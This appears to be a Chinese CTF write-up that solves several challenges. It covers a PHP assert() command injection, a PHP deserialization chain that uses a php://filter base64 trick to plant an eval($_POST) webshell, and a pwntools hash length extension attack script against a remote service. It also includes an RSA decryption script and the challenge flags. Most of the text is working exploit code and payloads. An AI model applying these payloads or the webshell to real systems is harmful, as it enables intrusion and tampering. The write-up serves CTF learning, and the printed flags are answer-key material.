太菜了,只能挨打。
签到
解数独,找个自动解题的网站就好了。
1 2 3 4 5 6 7 8 9
   | 473615928 216984753 598237164 651892437 942376815 387451296 834529671 125768349 769143582
   | 
 
1
   | flag{cee3860fb3f4a52e615fa8aaf3c91f2b}
  | 
 
warmup
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
   | <?php  require_once('flag.php');  error_reporting(0); 
  if(!isset($_GET['u'])){      highlight_file(__FILE__);      die();  }else{      $i=$_GET['i'];      $u=$_GET['u'];      if($_GET['u']!="Hello World"){          die('die...');      }      assert("$i == $u");            }  ?>
   | 
 
assert会造成命令执行,只要注释掉后面的语句就行了。
1
   | ?u=Hello%20World&i=system(%22cat%20flag.php%22);//
   | 
 
1
   | <!-- TODO --><?php$flag='flag{a0572c90-6aab-42c0-a0c7-2fe5fa4442b3}';echo '<!-- TODO -->';
  | 
 
simple ser
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
   | <?php  class cls1{      var $cls;      var $arr; 
      function show(){          show_source(__FILE__);      } 
      function __wakeup(){          foreach($this->arr as $k => $v){              echo $this->cls->$v;          }                }  } 
  class cls2{      var $filename = 'hello.php';      var $txt = '';      function __get($key){          if($key == 'fileput'){              return $this->fileput();          }else{              return '<p>'.htmlspecialchars($key).'</p>';          }      } 
      function fileput(){          if(    strpos($this->filename,'../') !== false ||              strpos($this->filename,'\\') !== false               ) die(); 
          $content = '<?php die(\'stupid\'); ?>';          $content .= $this->txt;          file_put_contents($this->filename, $content);          return htmlspecialchars($content); 
      } 
  } 
  if(!empty($_POST)){      $cls = base64_decode($_POST['ser']);      $instance = unserialize($cls);  }else{      $a = new cls1();      $a->show();  } 
   | 
 
根据题意,创建一个cls1一个cls2对象,使得cls1->cls=cls2即可,最后再使用伪协议绕过得以die()。
这里做个笔记,之前MOCTF学长出的一道题,死亡退出。
原理是这里使用伪协议打开south.php文件,并将前面的$content与后面的Base64编码合并解码写入文件。
1 2 3 4 5 6 7 8 9
   | $aa = new cls1(); $bb = new cls2(); $bb->filename = "php://filter/write=convert.base64-decode/resource=south.php"; $bb->txt = base64_encode("<?php @eval(\$_POST['south']);?>"); $aa->arr = array(1=>"fileput"); $aa->cls = $bb;
  echo "<br/>".serialize($aa)."<br/>"; echo "<br/>ser=".base64_encode(serialize($aa))."<br/>";
   | 
 
此处由于Base64的特性,即四个字节为一组解码,且编码字符为大小写字符和数字以及+、/,因此此处的<?php
die('stupid');
?>有效字符只有12位,刚好够解码干扰前面的死亡代码,若只有不足4N位则需自己添加有效字符凑齐,那么并上后面的Base64编码的恶意代码一同解码,就会得到暝髭i暼?php
system('cat
flag.php');?>这样的内容写入文件中,从而Getshell,而最后payload如下。
1
   | ser=Tzo0OiJjbHMxIjoyOntzOjM6ImNscyI7Tzo0OiJjbHMyIjoyOntzOjg6ImZpbGVuYW1lIjtzOjU5OiJwaHA6Ly9maWx0ZXIvd3JpdGU9Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPXNvdXRoLnBocCI7czozOiJ0eHQiO3M6NDQ6IlBEOXdhSEFnUUdWMllXd29KRjlRVDFOVVd5ZHpiM1YwYUNkZEtUcy9QZz09Ijt9czozOiJhcnIiO2E6MTp7aToxO3M6NzoiZmlsZXB1dCI7fX0=
   | 
 
连🐎。
1
   | flag{b722fe16-38d7-4969-aa2e-e907e69982e2} 
  | 
 
买手机
RCTF的原题,Cpushop。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
   | #!/usr/bin/env python # coding=utf-8 from pwn import * import hashpumpy   p = remote('117.50.13.182',8888) p.recv()
  p.sendline("2") p.recvuntil("Product ID: ") p.sendline("9")
  payment = p.recv() sp = payment.find('&sign=') sign = payment[sp+6:] sign = sign[:sign.find('\n')] payment = payment[payment.find('product'):payment.find('&sign')]   for keylen in range(8,32): 	log.info('trying keylen='+str(keylen))   	n = hashpumpy.hashpump(sign, payment, '&price=1', keylen) 	order = n[1] + "&sign="+n[0]   	p.sendline("3") 	p.recvuntil("Your order:")  	p.sendline(order) 	p.recv(1000)   	ret = p.recv(1000)   	if ("Invalid" not in ret):     	print(ret)     	print(p.recvuntil("Money: "))     	quit()
   | 
 
1
   | flag{Hash_leNgth_eXt3ns1on_attack_!S)_E@sy}
  | 
 
RSA
CTFWIKI上有原题,由于pq搞反了,导致跑了一天都没跑出来。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
   | import gmpy2  import base64 from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_v1_5
  def decrypt_RSA(cipherfile):     n = 62078208638445817213739226854534031566665495569130972218813975279479576033261 	     e = 9850747023606211927 	     p = 336771668019607304680919844592337860739 	     q = 184333227921154992916659782580114145999 	     cipher = open(cipherfile, "r").read() 	     while True: 		         try:                          phi = (p - 1)*(q - 1)             d = gmpy2.invert(e, phi)                          privkey = RSA.construct((long(n), long(e), long(d)))             key = PKCS1_v1_5.new(privkey)             decrypted = key.decrypt(base64.b64decode(cipher), None)             print decrypted             break         except Exception as ex:             print ex             p = gmpy2.next_prime(p**2 + q**2)             q = gmpy2.next_prime(2*p*q)             e = gmpy2.next_prime(e**2)             n = long(p)*long(q) decrypt_RSA("flag.enc")
   | 
 
得到flag。
1
   | flag{f@cToR__N_bY_!teratlnG!}
  |